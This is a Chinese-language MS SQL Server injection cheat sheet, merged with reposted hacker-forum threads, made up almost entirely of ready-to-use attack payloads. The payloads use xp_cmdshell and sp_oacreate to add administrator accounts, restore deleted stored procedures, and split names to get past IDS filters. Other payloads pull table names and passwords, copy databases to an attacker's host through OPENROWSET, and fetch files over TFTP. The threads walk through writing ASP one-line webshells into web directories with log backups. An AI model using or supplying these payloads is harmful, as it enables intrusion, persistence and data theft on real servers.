 sql注入語(yǔ)句大全
--是否存在xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
--用xp_cmdshell執(zhí)行命令
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup name administrators /add"--
--查看權(quán)限
and (select IS_SRVROLEMEMBER('sysadmin'))=1-- //sa
and (select IS_MEMBER('db_owner'))=1-- // dbo
and (select IS_MEMBER('public'))=1-- //public
--創(chuàng)建個(gè)登陸mssql的賬號(hào)
;exec master.dbo.sp_addlogin name,pass;--
--把創(chuàng)建的mssql登陸賬號(hào)提升到sysadmin
;exec master.dbo.sp_addsrvrolemember name,sysadmin;--
有用的擴(kuò)展
--獲得MS SQL的版本號(hào) //mssql版本
execute master..sp_msgetversion // dbo public
--得到硬盤文件信息 //dbo public
--參數(shù)說明:目錄名,目錄深度,是否顯示文件 //讀取磁盤目錄和文件
execute master..xp_dirtree 'c:' //列出所有c:\文件和目錄,子目錄
execute master..xp_dirtree 'c:',1 //只列c:\文件夾
execute master..xp_dirtree 'c:',1,1 //列c:\文件夾加文件
--列出服務(wù)器上所有windows本地組
execute master..xp_enumgroups //dbo
--得到當(dāng)前sql server服務(wù)器的計(jì)算機(jī)名稱 //獲得計(jì)算機(jī)名
execute master..xp_getnetname //dbo public
--列出指定目錄的所有下一級(jí)子目錄
EXEC [master].[dbo].[xp_subdirs] 'c:\WINNT' //可以列目錄
--列出服務(wù)器上固定驅(qū)動(dòng)器,以及每個(gè)驅(qū)動(dòng)器的可用空間
execute master..xp_fixeddrives //dbo public
--顯示系統(tǒng)上可用的盤符
execute master..xp_availablemedia //dbo
--獲取某文件的相關(guān)屬性
execute master..xp_getfiledetails 'C:1.txt' //dbo public
--統(tǒng)計(jì)數(shù)據(jù)庫(kù)里每個(gè)表的詳細(xì)情況
exec sp_MSforeachtable 'sp_spaceused ''?''' //查詢表 //dbo public
--獲得每個(gè)表的記錄數(shù)和容量
exec sp_MSforeachtable 'select ''?''','?', 'sp_spaceused ''?''', 'SELECT count(*) FROM ? ' //dbo pubilc
--更新Table1/Table2中note列為NULL的值
sp_MSforeachtable 'Update ? Set note='''' Where note is null',null,null,null,' AND o.name in (''Table1'',''Table2'')
--列出服務(wù)器域名
xp_ntsec_enumdomains //機(jī)器名 //dbo public
--停止或者啟動(dòng)某個(gè)服務(wù)
xp_servicecontrol 'stop','schedule' //schedule是服務(wù)得名稱 //dbo
--用pid來停止某個(gè)執(zhí)行中的程序
xp_terminate_process 123 //123是pid //dbo
--只列某個(gè)目錄下的子目錄
dbo.xp_subdirs 'C:' //dbo
--服務(wù)器安全模式信息
xp_loginconfig //dbo
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
--將新擴(kuò)展存儲(chǔ)過程的名稱注冊(cè)到 Microsoft? SQL Server? 上。
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' //恢復(fù)xp_cmdshell
恢復(fù)過程sp_addextendedproc 如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
創(chuàng)建新的 Microsoft? SQL Server? 登錄//只有 sysadmin 和 securityadmin 固定服務(wù)器角色的成員才可以執(zhí)行 sp_addlogin。
補(bǔ)丁版本
其中的8.00.760就是SQL Server的版本和補(bǔ)丁號(hào)。對(duì)應(yīng)關(guān)系如下:
8.00.194 -——————SQL Server 2000 RTM
8.00.384 -——————(SP1)
8.00.534 -——————(SP2)
8.00.760 -——————(SP3)
在db權(quán)限并且分離獲取mssql數(shù)據(jù)庫(kù)服務(wù)器ip的方法
1.本地nc監(jiān)聽 nc -vvlp 80
2.;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;--
其他的都不用管
xp_cmdshell的刪除及恢復(fù)
恢復(fù)xp_cmdshell的方法
刪除擴(kuò)展存儲(chǔ)過過程xp_cmdshell的語(yǔ)句
exec sp_dropextendedproc ’xp_cmdshell’
恢復(fù)cmdshell的sql語(yǔ)句
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and
返回結(jié)果為1就ok
否則需上傳c:\inetput\web\xplog70.dll后
exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;--
如果是用以下方法刪除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ’xp_cmdshell’
則可以用以下語(yǔ)句恢復(fù)
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
這樣可以直接恢復(fù),不用去管sp_addextendedproc是不是存在
去掉tenlnet的ntlm認(rèn)證
;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—
public權(quán)限列目錄
提起public權(quán)限的用戶估計(jì)很多人也覺得郁悶了吧~N久以前看了一篇《論在mssql中public和db_owner權(quán)限下拿到webshell或是系統(tǒng)權(quán)限》的文章(名字真長(zhǎng)-_-!!!),里面說到?jīng)]辦法利用xp_regread,xp_dirtree…這些存儲(chǔ)過程,原因是public沒有辦法建表,我在這里矯正一下其實(shí)public是可以建表的~呵呵,使這些存儲(chǔ)過程能利用上,看下面的代碼吧
--建立一個(gè)臨時(shí)表,一般的表我們是無(wú)辦法建立的,我們只能建立臨時(shí)表
create table ##nonamed(
dir ntext,
num int
)
--調(diào)用存儲(chǔ)過程把執(zhí)行回來的數(shù)據(jù)存到臨時(shí)表里面
insert ##nonamed execute master..xp_dirtree 'c:\',1
--然后采用openrowset函數(shù)把臨時(shí)表的數(shù)據(jù)導(dǎo)到本地MSSQL 的dirtree表里面了
insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree')
select * from ##nonamed
以上方法,也就是說public可以遍歷用戶服務(wù)器的目錄
MSSQL自身存儲(chǔ)過程的一個(gè)注入
master..sp_resolve_logins存儲(chǔ)過程中,對(duì)@dest_path參數(shù)過濾不嚴(yán),導(dǎo)致xp_cmdshell注入。
分析:
SELECT @dest_path = RTRIM(LTRIM(@dest_path))
-- If the last char is '\', remove it.
IF substring(@dest_path, len(@dest_path),1) = '\'
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1)
-- Don't do validation if it is a UNC path due to security problem.
-- If the server is started as a service using local system account, we
-- don't have access to the UNC path.
IF substring(@dest_path, 1,2) <> '\\'
BEGIN
SELECT @command = 'dir "' + @dest_path + '"'
exec @retcode = master..xp_cmdshell @command, 'no_output'
IF @@error <> 0
RETURN (1)
IF @retcode <> 0
BEGIN
raiserror (14430, 16, -1, @dest_path)
RETURN (1)
END
END
master..sp_resolve_logins存儲(chǔ)過程 在這一段,經(jīng)過一定的判斷,對(duì) @dest_path 進(jìn)行了一定的過濾。
但是沒有過濾"(雙引號(hào))導(dǎo)致了 xp_cmdshell執(zhí)行任意SQL語(yǔ)句
測(cè)試代碼:
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
執(zhí)行上述MSSQL語(yǔ)句,成功添加了一個(gè)名為admina的系統(tǒng)賬號(hào)
但是此存儲(chǔ)過程代碼中經(jīng)過判斷,需要系統(tǒng)systemadmin權(quán)限的賬號(hào)
Re:沙盒
通常一臺(tái)MSSQL服務(wù)器同時(shí)支持Access數(shù)據(jù)庫(kù),所以只要有一個(gè)sa或者dbowner的連接(至少對(duì)master庫(kù)具有db_owner權(quán)限,默認(rèn)情況下是沒有的),就滿足了修改注冊(cè)表的條件,因?yàn)镸SSQL有一個(gè)名為xp_regwrite的擴(kuò)展,它的作用是修改注冊(cè)表的值.語(yǔ)法如下
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
如果存在一個(gè)sa或者dbowner的連接的SQL注入點(diǎn),就可以構(gòu)造出如下注入語(yǔ)句InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--那我們將SandBoxMode開關(guān)的注冊(cè)表值修改為0就成功了.接著連接到一個(gè)Access數(shù) 據(jù)庫(kù)中,就可以執(zhí)行系統(tǒng)命令,當(dāng)然執(zhí)行系統(tǒng)命令我們只需要一個(gè)Access數(shù)據(jù)庫(kù)相關(guān)Select的注入點(diǎn)或者直接用ASP文件Select調(diào)用這個(gè) VBA的shell()函數(shù),但是實(shí)際上MSSQL有一個(gè)的OpenRowSet函數(shù),它的作用是打開一個(gè)特殊的數(shù)據(jù)庫(kù)或者連接到另一個(gè)數(shù)據(jù)庫(kù)之中.當(dāng)我 們有一個(gè)SA權(quán)限連接的時(shí)候,就可以做到打開Jet引擎連接到一個(gè)Access數(shù)據(jù)庫(kù),同時(shí)我們搜索系統(tǒng)文件會(huì)發(fā)現(xiàn)windows系統(tǒng)目錄下本身就存在兩 個(gè)Access數(shù)據(jù)庫(kù),位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\ dnary.mdb,這樣一來我們又可以利用OpenRowSet函數(shù)構(gòu)造出如下注入語(yǔ)句:InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user ray 123 /ad")');--
如果你覺得不大好懂的話,我可以給你做一個(gè)簡(jiǎn)化的理解:1,Access可以調(diào)用VBS的函數(shù),以System權(quán)限執(zhí)行任意命令2,Access執(zhí)行這個(gè)命令是有條件的,需要一個(gè)開關(guān)被打開3,這個(gè)開關(guān)在注冊(cè)表里4,SA是有權(quán)限寫注冊(cè)表的5,用SA寫注冊(cè)表的權(quán)限打開那個(gè)開關(guān)6,調(diào)用Access里的執(zhí)行命令方法,以system權(quán)限執(zhí)行任意命令執(zhí)行SQL命令,執(zhí)行了以下命令:EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user zyqq 123 /add")');Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators
'group by users.id having 1=1--
'group by users.id, users.username, users.password, users.privs having 1=1--
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'--
看服務(wù)器打的補(bǔ)丁=出錯(cuò)了打了SP4補(bǔ)丁
and 1=(select @@VERSION)--
看數(shù)據(jù)庫(kù)連接賬號(hào)的權(quán)限,返回正常,證明是服務(wù)器角色sysadmin權(quán)限。
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
判斷連接數(shù)據(jù)庫(kù)賬號(hào)。(采用SA賬號(hào)連接 返回正常=證明了連接賬號(hào)是SA)
and 'sa'=(SELECT System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--
看xp_cmdshell是否刪除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')--
xp_cmdshell被刪除,恢復(fù),支持絕對(duì)路徑的恢復(fù)
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--
反向PING自己實(shí)驗(yàn)
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加賬號(hào)
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'--
創(chuàng)建一個(gè)虛擬目錄E盤:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認(rèn)Web站點(diǎn)" -v "e","e:\"'--
訪問屬性:(配合寫入一個(gè)webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
爆庫(kù) 特殊技巧::%5c='\' 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到庫(kù)名(從1到5都是系統(tǒng)的id,6以上才可以判斷)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的數(shù)據(jù)庫(kù)名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個(gè)表 假設(shè)為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的數(shù)值假設(shè)為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個(gè)admin的一個(gè)字段,假設(shè)為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 來暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名
依次可以得到密碼。。。。。假設(shè)存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
得到WEB路徑
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image類型的表cmd
存在xp_cmdshell的測(cè)試過程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL賬號(hào)
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$ /add';--
exec master..xp_servicecontrol 'start', 'schedule' 啟動(dòng)服務(wù)
exec master..xp_servicecontrol 'start', 'server'
; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add'
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上傳文件
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat'
如果被限制則可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
查詢構(gòu)造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 顯示有一個(gè)叫ffff的用戶哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
;update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
上面的語(yǔ)句是得到數(shù)據(jù)庫(kù)中的第一個(gè)用戶表,并把表名放在ffff用戶的郵箱字段中。
通過查看ffff的用戶資料可得第一個(gè)用表叫ad
然后根據(jù)表名ad得到這個(gè)表的ID 得到第二個(gè)表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, 'admin''--', 'password', 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //為access數(shù)據(jù)庫(kù)
枚舉出數(shù)據(jù)表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
這是將第一個(gè)表名更新到aaa的字段處。
讀出第一個(gè)表,第二個(gè)表可以這樣讀出來(在條件后加上 and name<>'剛才得到的表名')。
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個(gè)表,一個(gè)個(gè)的讀出,直到?jīng)]有為止。
讀字段是這樣:
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=152 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名
;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=152 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名
[獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個(gè)字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個(gè)加一個(gè)]) [ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過SQLSERVER注入漏洞建數(shù)據(jù)庫(kù)管理員賬號(hào)和系統(tǒng)管理員賬號(hào)[當(dāng)前賬號(hào)必須是SYSADMIN組]
[獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個(gè)字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數(shù)據(jù)表名'),字段列如:1) [ where 條件]
繞過IDS的檢測(cè)[使用變量]
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
1、 開啟遠(yuǎn)程數(shù)據(jù)庫(kù)
基本語(yǔ)法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1' )
參數(shù): (1) OLEDB Provider name
2、 其中連接字符串參數(shù)可以是任何端口用來連接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select * from table'
3.復(fù)制目標(biāo)主機(jī)的整個(gè)數(shù)據(jù)庫(kù)insert所有遠(yuǎn)程表到本地表。
基本語(yǔ)法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1') select * from table2
這行語(yǔ)句將目標(biāo)主機(jī)上table2表中的所有數(shù)據(jù)復(fù)制到遠(yuǎn)程數(shù)據(jù)庫(kù)中的table1表中。實(shí)際運(yùn)用中適當(dāng)修改連接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysdatabases')
sele
Re:log備份的總結(jié)
當(dāng)SQL注入是得到DB權(quán)限時(shí)候,接下來可以做的工作很多,象找管理員密碼,后臺(tái)管理這些都可以幫助你拿到WEBSHELL,但是這篇文章講的是log備份,LOG備份出來的小馬的體積小,而且備份的成功的可性很大,所以是我作為對(duì)DB權(quán)限的第一種試探方法.
但是在LOG備份中,我們經(jīng)常會(huì)遇到一些很讓我們頭痛的問題,那就是閉合的問題,我在這里做個(gè)總結(jié),也
好讓我們對(duì)不能閉合的方法有一個(gè)全面的了解.
1.先介紹下LOG備份,這個(gè)相信大家都很熟悉了,我還是習(xí)慣在IE里直接提交,返回正常的頁(yè)面就說這一步的操作就成功了,如果沒有返回正常的頁(yè)面,我們就可以根據(jù)IE返回的錯(cuò)誤來找他的原因.(這里說下要將IE的錯(cuò)誤提示給打開),LOG的格式如下所示:
http://www./xx.asp?id=xxx;alter database databasename set RECOVERY FULL
http://www./xx.asp?id=xxx;create table cmd (a image)--
http://www./xx.asp?id=xxx;backup log databasename to disk = 'c:\cmd' with init
http://www./xx.asp?id=xxx;insert into cmd (a) values ('<%%25Execute(request("go"))%
%25>')--
http://www./xx.asp?id=xxx;backup log databasename to disk = 'x:\xxx\xxx\asp1.asp'--
http://www./xx.asp?id=xxx;drop table cmd--
分為6步操作,最容易出錯(cuò)的就是第4步的操作,經(jīng)常返回沒有閉合的問題,下面就是一些我們可以將
values中的內(nèi)容可以進(jìn)行更換的方式,當(dāng)我們的一種方式不行的話,就可以換另一種方式,當(dāng)所有的方式
都換完了,沒有什么好說的,要么就放棄,要么就換另一種方式繼續(xù),想列目錄找數(shù)據(jù)庫(kù)下載,后臺(tái).這
里就不多說了,可以提換的內(nèi)容有:
a).<%%25Execute(request("go"))%%25>
b).<%Execute(request("go"))%>
c).%><%execute request("go")%><%
d).<script language=VBScript runat=server>execute request("sb")</Script>
e).<%25Execute(request("l"))%25>
2.LOG備份要注意的一些問題:
a).要注意你現(xiàn)在的機(jī)器是不是WEB主機(jī),簡(jiǎn)單的方法就是翻他的目錄,看有沒有IIS安裝的文件
b).當(dāng)你確定你要找的確實(shí)是WEN主機(jī)時(shí),就可以找他的站點(diǎn)目錄了,這個(gè)也很重要,是步驟5的操作,如果備份到一個(gè)錯(cuò)誤的目錄,當(dāng)然就沒有辦法訪問了
c).備份成功后,你就可以試著用客戶端去連接,這個(gè)地方也有人弄錯(cuò),現(xiàn)在用的字段是go,你的客戶端的
相關(guān)字段也為go
d).用ececute正常備份出來的是用錯(cuò)誤提示的,當(dāng)你的顯示500錯(cuò)誤時(shí),請(qǐng)你將的IE錯(cuò)誤提示打開,當(dāng)顯示
Microsoft VBScript 運(yùn)行時(shí)錯(cuò)誤 錯(cuò)誤 '800a000d'
類型不匹配: 'execute'
時(shí)候表示你已經(jīng)成功了,連接吧!!
e).還有極端的時(shí)候你備份出來的一句話被殺(當(dāng)你確定你確實(shí)是備份在WEB主機(jī)的對(duì)應(yīng)目錄是),你可以將
上面的VALUES字段中的值做幾個(gè)大小寫轉(zhuǎn)換,一般是沒有問題的..
------------------------------------------------------------------------
今天測(cè)試log備份獲取WEBSEHLL遇到點(diǎn)問題,首先說下我自己理解通過log備份和差異備份的區(qū)別(不對(duì)和不完善的請(qǐng)大家指出與補(bǔ)充)。LOG備份得到的WEBSHELL文件小,大大增加了成功率。避免了數(shù)據(jù)庫(kù)里有特殊字符備份不成功的情況。今天在測(cè)試是沒成功,備份出來沒有一句話?cǎi)R,功能失去了,也就沒有任何意義了。提交上來討論下錯(cuò)誤之處。
由于是議題討論。用了真實(shí)地址,請(qǐng)勿破壞!
以下是我的語(yǔ)句:
引用內(nèi)容
;alter database dweb set RECOVERY FULL--
;create table cmd (a image)--
;backup log dweb to disk = ‘c:\Sammy‘ with init--
;insert into cmd (a) values (‘0x3C256576616C20726571756573742822732229253E‘)--
;backup log dweb to disk = ‘d:\chen\s2.asp‘--
備份結(jié)果
http://www./s2.asp
十六進(jìn)制形式備份出來了!
我再用如下語(yǔ)句! 引用內(nèi)容
;Drop table [cmd]--
;alter database dweb set RECOVERY FULL--
;create table cmd (a image)--
;backup log dweb to disk = ‘c:\Sammy‘ with init--
;insert into cmd (a) values (‘<%eval request("s")%>‘)--
;backup log dweb to disk = ‘d:\chen\sssjjk.asp‘--
如果又如下
http://www./sssjjk.asp
是何原因使LOG備份不成功呢?
是因?yàn)閿?shù)據(jù)表沒有寫到你備份的數(shù)據(jù)庫(kù)當(dāng)中,導(dǎo)致備份的ASP文件中沒有寫入我們希望的一句話木馬,請(qǐng)?jiān)诤蛿?shù)據(jù)表操作相關(guān)的語(yǔ)句中加入數(shù)據(jù)庫(kù)名,如:create table dweb.dbo.[cmd] (a image)--,然后再執(zhí)行備份語(yǔ)句就可以成功了
呵呵,你把馬改成"<%%25Execute(request("s"))%%25>" 來試試..
注意,是加個(gè).%25
問題已解決,把語(yǔ)句換成!
;insert into cmd (a) values (‘<%%25eval request("s")%%25>‘)--
確實(shí)能成功!謝謝!
;insert into cmd (a) values (‘0x3C256576616C20726571756573742822732229253E‘)--
樓主的這句是寫 字符串 “0x3C256576616C20726571756573742822732229253E”到文件里 而不是木馬
把單引號(hào)去掉就可以了
insert into cmd (a) values (0x3C256576616C20726571756573742822732229253E)--
…………………………………………………………………………………………………………
Blog被人滲透了一下,不知道各位掉了什么東西沒有。原來有一次blog的目錄可以列出來,那次我掉了一個(gè)小東西,然后今天別人告訴我NBSI 3用了那個(gè)東西的方法……呵呵,有點(diǎn)暈,就是下面的,成功率還是很高的,大家可以試試看。嗯,方法流出去無(wú)所謂,文章留著吧。
dbowner通過注射得到一個(gè)shell應(yīng)該不是什么難事情了,比較麻煩的是就算利用增量備份,仍然有很多不確定的因素,如果之前別人有過什么錯(cuò)誤的寫入信息,可能備份出來得到的還是一些不能用的500錯(cuò)誤,如何能夠提高成功率及重用性呢?如果單從調(diào)整增量備份的方式來看,盡管能夠達(dá)到一些效果,但是方法比較復(fù)雜而且效果不明顯。加上關(guān)于重用性的考慮,例如多次備份的成功率,backup database的方法并不太適用。這里將要講述的是另外一個(gè)備份的方法,導(dǎo)出日志文件到web目錄來獲得shell。
飯要一口一口的吃,技術(shù)問題也要一個(gè)一個(gè)的解決,得到webshell首先要知道物理路徑,然后才能說其他的。關(guān)于物理路徑的暴露有很多方法,注入也可以得到,這點(diǎn)nbsi2已經(jīng)做到了,就不再多說。值得注意的是,如果數(shù)據(jù)庫(kù)和web分離,這樣肯定得不到webshell,備份出來的東西可以覆蓋任何文件,一些關(guān)于開始菜單的想法還是有效的,只要注意擴(kuò)展名就好。扯遠(yuǎn)了,反正如果數(shù)據(jù)庫(kù)和web在一塊的,你就有機(jī)會(huì),反之還是想其他的辦法吧。
然后你要得到當(dāng)前的權(quán)限和數(shù)據(jù)庫(kù)名。如果是sysadmin當(dāng)然沒有必要做很復(fù)雜的事情,dbowner足矣,public則不行。當(dāng)前打開的庫(kù)名用一個(gè)db_name()就可以得到,同樣很簡(jiǎn)單。
默認(rèn)的情況是,一般選擇的數(shù)據(jù)庫(kù)故障還原類型都是簡(jiǎn)單,這時(shí)候不能夠?qū)θ罩疚募M(jìn)行備份。然而我們都是dbowner了,還有什么不能做的呢,只要修改一下屬性就可以。由于不能去企業(yè)管理器中修改,只有用一段SQL語(yǔ)句,很簡(jiǎn)單的,這樣就可以:
alter database XXXX set RECOVERY FULL
其中XXXX是你得到的數(shù)據(jù)庫(kù)的名字,執(zhí)行過后就可以備份日志了。這種修改是破壞性的,因?yàn)槟悴恢酪郧暗墓收线€原模式是什么,細(xì)心的管理員看到異樣,可能就要開始起疑心。如果之前你能得到數(shù)據(jù)庫(kù)的狀態(tài),最好還是在備份完以后把這個(gè)數(shù)據(jù)庫(kù)的屬性改回來。
剩下的事情就是怎樣讓數(shù)據(jù)庫(kù)用最原始的方式記錄下你的數(shù)據(jù)了。這一點(diǎn)和backup database中設(shè)定表名為image的問題相對(duì)應(yīng),如果你只是建立一個(gè)之類的表,日志里面的記錄還是以松散的格式記錄的,也就是< % % >,沒有任何效果。通過實(shí)際的測(cè)試,發(fā)現(xiàn)還是可以通過與backup database類似的方式記錄進(jìn)去,如下:
create table cmd (a image)
insert into cmd (a) values (’’)
backup log XXXX to disk = ’c:\xxx\2.asp’
這樣你已經(jīng)得到一個(gè)webshell了。
到這里就完了么?沒有,呵呵,我們繼續(xù)。
